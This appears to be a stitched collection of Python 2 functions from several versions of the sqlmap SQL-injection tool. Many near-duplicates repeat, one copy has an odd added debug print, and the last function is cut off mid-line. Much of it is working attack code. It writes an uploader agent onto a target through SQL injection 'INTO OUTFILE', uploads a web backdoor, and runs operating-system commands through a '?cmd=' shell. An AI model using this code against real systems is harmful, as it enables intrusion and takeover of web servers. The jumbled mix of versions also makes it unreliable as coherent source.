def checkNullConnection(): """ Reference: http://www.wisec.it/sectou.php?id=472f952d79293 """ infoMsg = "testing NULL connection to the target url" logger.info(infoMsg) try: page, headers = Request.getPage(method=HTTPMETHOD.HEAD) if not page and 'Content-Length' in headers: kb.nullConnection = NULLCONNECTION.HEAD infoMsg = "NULL connection is supported with HEAD header" logger.info(infoMsg) else: page, headers = Request.getPage(auxHeaders={"Range": "bytes=-1"}) if page and len(page) == 1 and 'Content-Range' in headers: kb.nullConnection = NULLCONNECTION.RANGE infoMsg = "NULL connection is supported with GET header " infoMsg += "'%s'" % kb.nullConnection logger.info(infoMsg) except sqlmapConnectionException, errMsg: errMsg = getUnicode(errMsg) raise sqlmapConnectionException, errMsg
def checkNullConnection(): """ Reference: http://www.wisec.it/sectou.php?id=472f952d79293 """ infoMsg = "testing NULL connection to the target url" logger.info(infoMsg) try: page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD) if not page and HTTPHEADER.CONTENT_LENGTH in headers: kb.nullConnection = NULLCONNECTION.HEAD infoMsg = "NULL connection is supported with HEAD header" logger.info(infoMsg) else: page, headers, _ = Request.getPage( auxHeaders={HTTPHEADER.RANGE: "bytes=-1"}) if page and len(page) == 1 and HTTPHEADER.CONTENT_RANGE in headers: kb.nullConnection = NULLCONNECTION.RANGE infoMsg = "NULL connection is supported with GET header " infoMsg += "'%s'" % kb.nullConnection logger.info(infoMsg) except sqlmapConnectionException, errMsg: errMsg = getUnicode(errMsg) raise sqlmapConnectionException, errMsg
def checkNullConnection(): """ Reference: http://www.wisec.it/sectou.php?id=472f952d79293 """ if conf.data: return False infoMsg = "testing NULL connection to the target url" logger.info(infoMsg) try: page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD) if not page and HTTPHEADER.CONTENT_LENGTH in headers: kb.nullConnection = NULLCONNECTION.HEAD infoMsg = "NULL connection is supported with HEAD header" logger.info(infoMsg) else: page, headers, _ = Request.getPage(auxHeaders={HTTPHEADER.RANGE: "bytes=-1"}) if page and len(page) == 1 and HTTPHEADER.CONTENT_RANGE in headers: kb.nullConnection = NULLCONNECTION.RANGE infoMsg = "NULL connection is supported with GET header " infoMsg += "'%s'" % kb.nullConnection logger.info(infoMsg) except SqlmapConnectionException, errMsg: errMsg = getUnicode(errMsg) raise SqlmapConnectionException, errMsg
def parseSitemap(url, retVal=None): global abortedFlag if retVal is not None: logger.debug("parsing sitemap '%s'" % url) try: if retVal is None: abortedFlag = False retVal = oset() content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else "" for match in re.finditer(r"<loc>\s*([^<]+)", content): if abortedFlag: break url = match.group(1).strip() if url.endswith(".xml") and "sitemap" in url.lower(): if kb.followSitemapRecursion is None: message = "sitemap recursion detected. Do you want to follow? [y/N] " test = readInput(message, default="N") kb.followSitemapRecursion = test[0] in ("y", "Y") if kb.followSitemapRecursion: parseSitemap(url, retVal) else: retVal.add(url) except KeyboardInterrupt: abortedFlag = True warnMsg = "user aborted during sitemap parsing. sqlmap " warnMsg += "will use partial list" logger.warn(warnMsg) return retVal
def _webFileStreamUpload(self, stream, destFileName, directory): stream.seek(0) # Rewind try: setattr(stream, "name", destFileName) except TypeError: pass if self.webApi in getPublicTypeMembers(WEB_API, True): multipartParams = { "upload": "1", "file": stream, "uploadDir": directory, } if self.webApi == WEB_API.ASPX: multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION multipartParams['__VIEWSTATE'] = kb.data.__VIEWSTATE page, _, _ = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False) if "File uploaded" not in page: warnMsg = "unable to upload the file through the web file " warnMsg += "stager to '%s'" % directory logger.warn(warnMsg) return False else: return True else: logger.error("sqlmap hasn't got a web backdoor nor a web file stager for %s" % self.webApi) return False
def crawlThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.limit: if threadData.shared.unprocessed: current = threadData.shared.unprocessed.pop() if current in visited: continue elif conf.crawlExclude and re.search(conf.crawlExclude, current): dbgMsg = "skipping '%s'" % current logger.debug(dbgMsg) continue else: visited.add(current) else: break content = None try: if current: content = Request.getPage(url=current, crawling=True, raise404=False)[0] except SqlmapConnectionException, ex: errMsg = u"检测到连接异常(%s)," % getSafeExString(ex) errMsg += u"跳过网址 '%s'" % current logger.critical(errMsg)
def __webFileStreamUpload(self, stream, destFileName, directory): stream.seek(0) # Rewind if self.webApi in ("php", "asp", "aspx", "jsp"): multipartParams = { "upload": "1", "file": stream, "uploadDir": directory, } if self.webApi == "aspx": multipartParams[ '__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION multipartParams['__VIEWSTATE'] = kb.data.__VIEWSTATE page = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False) if "File uploaded" not in page: warnMsg = "unable to upload the backdoor through " warnMsg += "the file stager on '%s'" % directory logger.warn(warnMsg) return False else: return True
def crawlThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.limit: if threadData.shared.unprocessed: current = threadData.shared.unprocessed.pop() if current in visited: continue elif conf.crawlExclude and re.search(conf.crawlExclude, current): dbgMsg = "skipping '%s'" % current logger.debug(dbgMsg) continue else: visited.add(current) else: break content = None try: if current: content = Request.getPage(url=current, crawling=True, raise404=False)[0] except SqlmapConnectionException, ex: errMsg = "connection exception detected ('%s'). skipping " % getSafeExString(ex) errMsg += "URL '%s'" % current logger.critical(errMsg)
def _(*args, **kwargs): try: if kwargs.get("get"): kwargs["get"] = urlencode(kwargs["get"]) kwargs["raise404"] = False return Request.getPage(*args, **kwargs) except Exception, ex: return None, None, None
def _(*args, **kwargs): page, headers, code = None, None, None try: if kwargs.get("get"): kwargs["get"] = urlencode(kwargs["get"]) kwargs["raise404"] = False kwargs["silent"] = True page, headers, code = Request.getPage(*args, **kwargs) except Exception: pass return page or "", headers or {}, code
def __updateMSSQLXML(): infoMsg = "updating Microsoft SQL Server XML versions file" logger.info(infoMsg) try: mssqlVersionsHtmlString, _ = Request.getPage(url=MSSQL_VERSIONS_URL, direct=True) except sqlmapConnectionException, _: __mssqlPath = urlparse.urlsplit(MSSQL_VERSIONS_URL) __mssqlHostname = __mssqlPath[1] warnMsg = "sqlmap was unable to connect to %s," % __mssqlHostname warnMsg += " check your Internet connection and retry" logger.warn(warnMsg) return
def __webFileStreamUpload(self, stream, destFileName, directory): stream.seek(0) # rewind if self.webApi in ("php", "asp"): multipartParams = {"upload": "1", "file": stream, "uploadDir": directory} page = Request.getPage(url=self.webUploaderUrl, multipart=multipartParams, raise404=False) if "File uploaded" not in page: warnMsg = "unable to upload the backdoor through " warnMsg += "the uploader agent on '%s'" % directory logger.warn(warnMsg) return False else: return True elif self.webApi == "jsp": return False
def __updateSqlmap(): infoMsg = "updating sqlmap" logger.info(infoMsg) debugMsg = "checking if a new version is available" logger.debug(debugMsg) try: sqlmapNewestVersion, _ = Request.getPage(url=SQLMAP_VERSION_URL, direct=True) except sqlmapConnectionException, _: __sqlmapPath = urlparse.urlsplit(SQLMAP_VERSION_URL) __sqlmapHostname = __sqlmapPath[1] warnMsg = "sqlmap was unable to connect to %s" % __sqlmapHostname warnMsg += ", check your Internet connection and retry" logger.warn(warnMsg) return
def checkConnection(): infoMsg = "testing connection to the target url" logger.info(infoMsg) try: page, _ = Request.getPage() conf.seqMatcher.set_seq1(page) except sqlmapConnectionException, exceptionMsg: exceptionMsg = str(exceptionMsg) if conf.multipleTargets: exceptionMsg += ", skipping to next url" logger.warn(exceptionMsg) return False else: raise sqlmapConnectionException, exceptionMsg
def crawlThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.limits: if threadData.shared.unprocessed: current = threadData.shared.unprocessed.pop() else: break content = None try: if current: content = Request.getPage(url=current, crawling=True, raise404=False)[0] except sqlmapConnectionException, e: errMsg = "connection exception detected (%s). skipping " % e errMsg += "url '%s'" % current logger.critical(errMsg)
def webBackdoorRunCmd(self, cmd): if self.webBackdoorUrl is None: return output = None if not cmd: cmd = conf.osCmd cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, cmd) page, _, _ = Request.getPage(url=cmdUrl, direct=True, silent=True) if page is not None: output = re.search("<pre>(.+?)</pre>", page, re.I | re.S) if output: output = output.group(1) return output
def webBackdoorRunCmd(self, cmd): if self.webBackdoorUrl is None: return output = None if not cmd: cmd = conf.osCmd cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, cmd) page, _, _ = Request.getPage(url=cmdUrl, direct=True, silent=True, timeout=BACKDOOR_RUN_CMD_TIMEOUT) if page is not None: output = re.search(r"<pre>(.+?)</pre>", page, re.I | re.S) if output: output = output.group(1) return output
def __webFileStreamUpload(self, stream, destFileName, directory): stream.seek(0) # Rewind if self.webApi in ("php", "asp", "aspx", "jsp"): multipartParams = {"upload": "1", "file": stream, "uploadDir": directory} if self.webApi == "aspx": multipartParams["__EVENTVALIDATION"] = kb.data.__EVENTVALIDATION multipartParams["__VIEWSTATE"] = kb.data.__VIEWSTATE page = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False) if "File uploaded" not in page: warnMsg = "unable to upload the backdoor through " warnMsg += "the file stager on '%s'" % directory logger.warn(warnMsg) return False else: return True
def webBackdoorRunCmd(self, cmd): if self.webBackdoorUrl is None: return output = None if not cmd: cmd = conf.osCmd cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, getUnicode(cmd)) page, _, _ = Request.getPage(url=cmdUrl, direct=True, silent=True, timeout=BACKDOOR_RUN_CMD_TIMEOUT) if page is not None: output = re.search(r"<pre>(.+?)</pre>", page, re.I | re.S) if output: output = output.group(1) return output
def parseSitemap(url, retVal=None): global abortedFlag if retVal is not None: logger.debug("parsing sitemap '%s'" % url) try: if retVal is None: abortedFlag = False retVal = oset() try: content = Request.getPage( url=url, raise404=True)[0] if not abortedFlag else "" except httplib.InvalidURL: errMsg = "invalid URL given for sitemap ('%s')" % url raise SqlmapSyntaxException, errMsg for match in re.finditer(r"<loc>\s*([^<]+)", content or ""): if abortedFlag: break url = match.group(1).strip() if url.endswith(".xml") and "sitemap" in url.lower(): if kb.followSitemapRecursion is None: message = "sitemap recursion detected. Do you want to follow? [y/N] " kb.followSitemapRecursion = readInput(message, default='N', boolean=True) if kb.followSitemapRecursion: parseSitemap(url, retVal) else: retVal.add(url) except KeyboardInterrupt: abortedFlag = True warnMsg = "user aborted during sitemap parsing. sqlmap " warnMsg += "will use partial list" logger.warn(warnMsg) return retVal
def __webFileStreamUpload(self, stream, destFileName, directory): stream.seek(0) # Rewind if self.webApi in getPublicTypeMembers(WEB_API, True): multipartParams = { "upload": "1", "file": stream, "uploadDir": directory, } if self.webApi == WEB_API.ASPX: multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION multipartParams['__VIEWSTATE'] = kb.data.__VIEWSTATE page = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False) if "File uploaded" not in page: warnMsg = "unable to upload the backdoor through " warnMsg += "the file stager on '%s'" % directory logger.warn(warnMsg) return False else: return True
def crawlThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.limit: if threadData.shared.unprocessed: current = threadData.shared.unprocessed.pop() if current in visited: continue elif conf.crawlExclude and re.search( conf.crawlExclude, current): dbgMsg = "skipping '%s'" % current logger.debug(dbgMsg) continue else: visited.add(current) else: break content = None try: if current: content = Request.getPage(url=current, crawling=True, raise404=False)[0] global count if count > 100: print "more than 100 I do not like" break else: count += 1 except SqlmapConnectionException, ex: errMsg = "connection exception detected (%s). skipping " % getSafeExString( ex) errMsg += "URL '%s'" % current logger.critical(errMsg)
def parseSitemap(url, retVal=None): global abortedFlag if retVal is not None: logger.debug("parsing sitemap '%s'" % url) try: if retVal is None: abortedFlag = False retVal = oset() try: content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else "" except httplib.InvalidURL: errMsg = "invalid URL given for sitemap ('%s')" % url raise SqlmapSyntaxException(errMsg) for match in re.finditer(r"<loc>\s*([^<]+)", content or ""): if abortedFlag: break url = match.group(1).strip() if url.endswith(".xml") and "sitemap" in url.lower(): if kb.followSitemapRecursion is None: message = "sitemap recursion detected. Do you want to follow? [y/N] " kb.followSitemapRecursion = readInput(message, default='N', boolean=True) if kb.followSitemapRecursion: parseSitemap(url, retVal) else: retVal.add(url) except KeyboardInterrupt: abortedFlag = True warnMsg = "user aborted during sitemap parsing. sqlmap " warnMsg += "will use partial list" logger.warn(warnMsg) return retVal
elif sqlmapNewestVersion > VERSION: infoMsg = "sqlmap latest stable version is %s. " % sqlmapNewestVersion infoMsg += "Going to download it from the SourceForge File List page" logger.info(infoMsg) elif sqlmapNewestVersion < VERSION: infoMsg = "if you are running a version of sqlmap more updated than " infoMsg += "the latest stable version (%s)" % sqlmapNewestVersion logger.info(infoMsg) return sqlmapBinaryStringUrl = SQLMAP_SOURCE_URL % sqlmapNewestVersion try: sqlmapBinaryString, _ = Request.getPage(url=sqlmapBinaryStringUrl, direct=True) except sqlmapConnectionException, _: __sqlmapPath = urlparse.urlsplit(sqlmapBinaryStringUrl) __sqlmapHostname = __sqlmapPath[1] warnMsg = "sqlmap was unable to connect to %s" % __sqlmapHostname warnMsg += ", check your Internet connection and retry" logger.warn(warnMsg) return debugMsg = 'saving the sqlmap compressed source to a ZIP file into ' debugMsg += 'the temporary directory and extract it' logger.debug(debugMsg) tempDir = tempfile.gettempdir()
def webInit(self): """ This method is used to write a web backdoor (agent) on a writable remote directory within the web server document root. """ if self.webBackdoorUrl is not None and self.webUploaderUrl is not None and self.webApi is not None: return self.checkDbmsOs() infoMsg = "trying to upload the uploader agent" logger.info(infoMsg) message = "which web application language does the web server " message += "support?\n" message += "[1] ASP%s\n" % (" (default)" if kb.os == "Windows" else "") message += "[2] PHP%s\n" % ("" if kb.os == "Windows" else " (default)") message += "[3] JSP" while True: choice = readInput(message, default="1" if kb.os == "Windows" else "2") if not choice or choice == "2": self.webApi = "php" break elif choice == "1": self.webApi = "asp" break elif choice == "3": errMsg = "JSP web backdoor functionality is not yet " errMsg += "implemented" raise sqlmapUnsupportedDBMSException(errMsg) elif not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > 3: logger.warn("invalid value, it must be 1 or 3") kb.docRoot = getDocRoot(self.webApi) directories = getDirs(self.webApi) directories = list(directories) directories.sort() backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) backdoorStream = decloakToNamedTemporaryFile( os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName ) originalBackdoorContent = backdoorContent = backdoorStream.read() uploaderName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) uploaderContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "uploader.%s_" % self.webApi)) for directory in directories: # Upload the uploader agent self.__webFileInject(uploaderContent, uploaderName, directory) requestDir = ntToPosixSlashes(directory).replace(ntToPosixSlashes(kb.docRoot), "/") if isWindowsPath(requestDir): requestDir = requestDir[2:] requestDir = normalizePath(requestDir) self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir) self.webUploaderUrl = "%s/%s" % (self.webBaseUrl.rstrip("/"), uploaderName) self.webUploaderUrl = ntToPosixSlashes(self.webUploaderUrl.replace("./", "/")) uplPage, _ = Request.getPage(url=self.webUploaderUrl, direct=True, raise404=False) if "sqlmap file uploader" not in uplPage: warnMsg = "unable to upload the uploader " warnMsg += "agent on '%s'" % directory logger.warn(warnMsg) continue infoMsg = "the uploader agent has been successfully uploaded " infoMsg += "on '%s' ('%s')" % (directory, self.webUploaderUrl) logger.info(infoMsg) if self.webApi == "asp": runcmdName = "tmpe%s.exe" % randomStr(lowercase=True) runcmdStream = decloakToNamedTemporaryFile( os.path.join(paths.SQLMAP_SHELL_PATH, "runcmd.exe_"), runcmdName ) match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) if match: backdoorDirectory = match.group(1) else: continue backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace( "RUNCMD_EXE", runcmdName ) backdoorStream.file.truncate() backdoorStream.read() backdoorStream.seek(0) backdoorStream.write(backdoorContent) if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory): self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory) self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl.rstrip("/"), backdoorName) self.webDirectory = backdoorDirectory else: continue else: if not self.__webFileStreamUpload( backdoorStream, backdoorName, posixToNtSlashes(directory) if kb.os == "Windows" else directory ): warnMsg = "backdoor hasn't been successfully uploaded " warnMsg += "with uploader probably because of permission " warnMsg += "issues." logger.warn(warnMsg) message = "do you want to try the same method used " message += "for uploader? [y/N] " getOutput = readInput(message, default="N") if getOutput in ("y", "Y"): self.__webFileInject(backdoorContent, backdoorName, directory) else: continue self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = directory infoMsg = "the backdoor has probably been successfully " infoMsg += "uploaded on '%s', go with your browser " % self.webDirectory infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl logger.info(infoMsg) break
def osShell(self): """ This method is used to write a PHP agent (cmd.php) on a writable remote directory within the web server document root. Such agent is written using the INTO OUTFILE MySQL DBMS functionality @todo: * Add a web application crawling functionality to detect all (at least most) web server directories and merge with Google results if the target host is a publicly available hostname or IP address; * Extend to all DBMS using their functionalities (UDF, stored procedures, etc) to write files on the system or directly execute commands on the system without passing by the agent; * Automatically detect the web server available interpreters parsing 'Server', 'X-Powered-By' and 'X-AspNet-Version' HTTP response headers; * Extend the agent to other interpreters rather than only PHP: ASP, JSP, CGI (Python, Perl, Ruby, Bash). """ logMsg = "retrieving web application directories" logger.info(logMsg) directories = getDirectories() if directories: logMsg = "retrieved web server directories " logMsg += "'%s'" % ", ".join(d for d in directories) logger.info(logMsg) message = "in addition you can provide a list of directories " message += "absolute path comma separated that you want sqlmap " message += "to try to upload the agent [/var/www/test]: " inputDirs = readInput(message, default="/var/www/test") else: message = "please provide the web server document root [/var/www]: " inputDocRoot = readInput(message, default="/var/www") if inputDocRoot: kb.docRoot = inputDocRoot else: kb.docRoot = "/var/www" message = "please provide a list of directories absolute path " message += "comma separated that you want sqlmap to try to " message += "upload the agent [/var/www/test]: " inputDirs = readInput(message, default="/var/www/test") if inputDirs: inputDirs = inputDirs.replace(", ", ",") inputDirs = inputDirs.split(",") for inputDir in inputDirs: directories.add(inputDir) else: directories.add("/var/www/test") logMsg = "trying to upload the uploader agent" logger.info(logMsg) directories = list(directories) directories.sort() uploaded = False backdoorName = "backdoor.php" backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName) uploaderName = "uploader.php" uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName)) for directory in directories: if uploaded: break # Upload the uploader agent uploaderQuery = uploaderStr.replace("WRITABLE_DIR", directory) query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName) query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery query = agent.prefixQuery(" %s" % query) query = agent.postfixQuery(query) payload = agent.payload(newValue=query) page = Request.queryPage(payload) if kb.docRoot: requestDir = directory.replace(kb.docRoot, "") else: requestDir = directory baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir) uploaderUrl = "%s/%s" % (baseUrl, uploaderName) page, _ = Request.getPage(url=uploaderUrl, direct=True) if "sqlmap backdoor uploader" not in page: warnMsg = "unable to upload the uploader " warnMsg += "agent on '%s'" % directory logger.warn(warnMsg) continue logMsg = "the uploader agent has been successfully uploaded " logMsg += "on '%s'" % directory logger.info(logMsg) # Upload the backdoor through the uploader agent multipartParams = { "upload": "1", "file": open(backdoorPath, "r"), "uploadDir": directory, } uploaderUrl = "%s/%s" % (baseUrl, uploaderName) page, _ = Request.getPage(url=uploaderUrl, multipart=multipartParams) if "Backdoor uploaded" not in page: warnMsg = "unable to upload the backdoor through " warnMsg += "the uploader agent on '%s'" % directory logger.warn(warnMsg) continue uploaded = True backdoorUrl = "%s/%s" % (baseUrl, backdoorName) logMsg = "the backdoor has been successfully uploaded on " logMsg += "'%s', go with your browser to " % directory logMsg += "'%s' and enjoy it!" % backdoorUrl logger.info(logMsg) message = "do you want to use the uploaded backdoor as a " message += "shell to execute commands right now? [Y/n] " shell = readInput(message, default="Y") if shell in ("n", "N"): continue logMsg = "calling OS shell. To quit type " logMsg += "'x' or 'q' and press ENTER" logger.info(logMsg) autoCompletion(osShell=True) while True: command = None try: command = raw_input("$ ") except KeyboardInterrupt: print errMsg = "user aborted" logger.error(errMsg) except EOFError: print errMsg = "exit" logger.error(errMsg) break if not command: continue if command.lower() in ( "x", "q", "exit", "quit" ): break cmdUrl = "%s?cmd=%s" % (backdoorUrl, command) page, _ = Request.getPage(url=cmdUrl, direct=True) output = re.search("<pre>(.+?)</pre>", page, re.I | re.S) if output: print output.group(1) else: print "No output"
def webInit(self): """ This method is used to write a web backdoor (agent) on a writable remote directory within the web server document root. """ if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None: return self.checkDbmsOs() default = None choices = list(getPublicTypeMembers(WEB_API, True)) for ext in choices: if conf.url.endswith(ext): default = ext break if not default: default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP message = "which web application language does the web server " message += "support?\n" for count in xrange(len(choices)): ext = choices[count] message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else "")) if default == ext: default = count + 1 message = message[:-1] while True: choice = readInput(message, default=str(default)) if not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > len(choices): logger.warn("invalid value, it must be between 1 and %d" % len(choices)) else: self.webApi = choices[int(choice) - 1] break if not kb.absFilePaths: message = "do you want sqlmap to further try to " message += "provoke the full path disclosure? [Y/n] " if readInput(message, default='Y', boolean=True): headers = {} been = set([conf.url]) for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage, re.I): url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php") if url not in been: try: page, _, _ = Request.getPage(url=url, raise404=False, silent=True) parseFilePaths(page) except: pass finally: been.add(url) url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url) if url not in been: try: page, _, _ = Request.getPage(url=url, raise404=False, silent=True) parseFilePaths(page) except: pass finally: been.add(url) for place in (PLACE.GET, PLACE.POST): if place in conf.parameters: value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=", conf.parameters[place]) if "[]" in value: page, headers = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) cookie = None if PLACE.COOKIE in conf.parameters: cookie = conf.parameters[PLACE.COOKIE] elif headers and HTTP_HEADER.SET_COOKIE in headers: cookie = headers[HTTP_HEADER.SET_COOKIE] if cookie: value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie) if value != cookie: page, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie) if value != cookie: page, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) directories = list(arrayizeValue(getManualDirectories())) directories.extend(getAutoDirectories()) directories = list(oset(directories)) path = urlparse.urlparse(conf.url).path or '/' if path != '/': _ = [] for directory in directories: _.append(directory) if not directory.endswith(path): _.append("%s/%s" % (directory.rstrip('/'), path.strip('/'))) directories = _ backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi)) stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) for directory in directories: if not directory: continue stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) uploaded = False directory = ntToPosixSlashes(normalizePath(directory)) if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'): directory = "/%s" % directory if not directory.endswith('/'): directory += '/' # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg += "via LIMIT 'LINES TERMINATED BY' method" logger.info(infoMsg) self._webFileInject(stagerContent, stagerName, directory) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break # Fall-back to UNION queries file upload method if not uploaded: warnMsg = "unable to upload the file stager " warnMsg += "on '%s'" % directory singleTimeWarnMessage(warnMsg) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg += "via UNION method" logger.info(infoMsg) stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) handle, filename = tempfile.mkstemp() os.close(handle) with open(filename, "w+b") as f: _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) _ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)) f.write(_) self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break if not uploaded: continue if "<%" in uplPage or "<?" in uplPage: warnMsg = "file stager uploaded on '%s', " % directory warnMsg += "but not dynamically interpreted" logger.warn(warnMsg) continue elif self.webApi == WEB_API.ASPX: kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage) kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage) infoMsg = "the file stager has been successfully uploaded " infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl) logger.info(infoMsg) if self.webApi == WEB_API.ASP: match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) if match: backdoorDirectory = match.group(1) else: continue _ = "tmpe%s.exe" % randomStr(lowercase=True) if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)): self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_")) self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = backdoorDirectory else: continue else: if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent): warnMsg = "backdoor has not been successfully uploaded " warnMsg += "through the file stager possibly because " warnMsg += "the user running the web server process " warnMsg += "has not write privileges over the folder " warnMsg += "where the user running the DBMS process " warnMsg += "was able to upload the file stager or " warnMsg += "because the DBMS and web server sit on " warnMsg += "different servers" logger.warn(warnMsg) message = "do you want to try the same method used " message += "for the file stager? [Y/n] " if readInput(message, default='Y', boolean=True): self._webFileInject(backdoorContent, backdoorName, directory) else: continue self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName) self.webDirectory = directory self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName) testStr = "command execution test" output = self.webBackdoorRunCmd("echo %s" % testStr) if output == "0": warnMsg = "the backdoor has been uploaded but required privileges " warnMsg += "for running the system commands are missing" raise SqlmapNoneDataException(warnMsg) elif output and testStr in output: infoMsg = "the backdoor has been successfully " else: infoMsg = "the backdoor has probably been successfully " infoMsg += "uploaded on '%s' - " % self.webDirectory infoMsg += self.webBackdoorUrl logger.info(infoMsg) break
def webInit(self): """ This method is used to write a web backdoor (agent) on a writable remote directory within the web server document root. """ if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None: return self.checkDbmsOs() infoMsg = "trying to upload the file stager" logger.info(infoMsg) default = None choices = ('asp', 'aspx', 'php', 'jsp') for ext in choices: if conf.url.endswith(ext): default = ext break if not default: if Backend.isOs(OS.WINDOWS): default = "asp" else: default = "php" message = "which web application language does the web server " message += "support?\n" for count in xrange(len(choices)): ext = choices[count] message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else "")) if default == ext: default = count + 1 message = message[:-1] while True: choice = readInput(message, default=str(default)) if not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > len(choices): logger.warn("invalid value, it must be between 1 and %d" % len(choices)) else: self.webApi = choices[int(choice) - 1] break kb.docRoot = getDocRoot() directories = getDirs() directories = list(directories) directories.sort() backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) backdoorStream = 